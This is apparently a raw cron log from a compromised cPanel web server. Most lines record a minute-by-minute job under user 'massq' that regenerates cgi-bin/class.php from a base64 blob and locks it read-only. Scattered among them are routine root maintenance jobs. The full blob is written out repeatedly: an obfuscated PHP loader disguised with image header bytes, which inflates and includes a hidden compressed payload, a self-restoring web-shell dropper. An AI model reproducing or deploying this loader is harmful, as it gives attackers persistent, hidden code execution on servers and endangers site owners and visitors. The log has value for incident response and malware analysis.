Nov 15 08:32:01 server CROND[15017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:33:01 server CROND[15291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:34:01 server CROND[15562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:35:01 server CROND[15839]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 08:35:01 server CROND[15841]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 08:35:01 server CROND[15843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:35:01 server CROND[15845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:35:01 server CROND[15842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:36:01 server CROND[16265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:37:01 server CROND[16544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:38:01 server CROND[16812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:39:01 server CROND[17077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:39:01 server CROND[17075]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 08:40:01 server CROND[17351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:40:01 server CROND[17352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:40:01 server CROND[17354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:40:01 server CROND[17353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:41:01 server CROND[17839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:42:01 server CROND[18130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 08:42:01 server CROND[18131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:43:01 server CROND[18396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:44:01 server CROND[18665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:45:01 server CROND[18944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
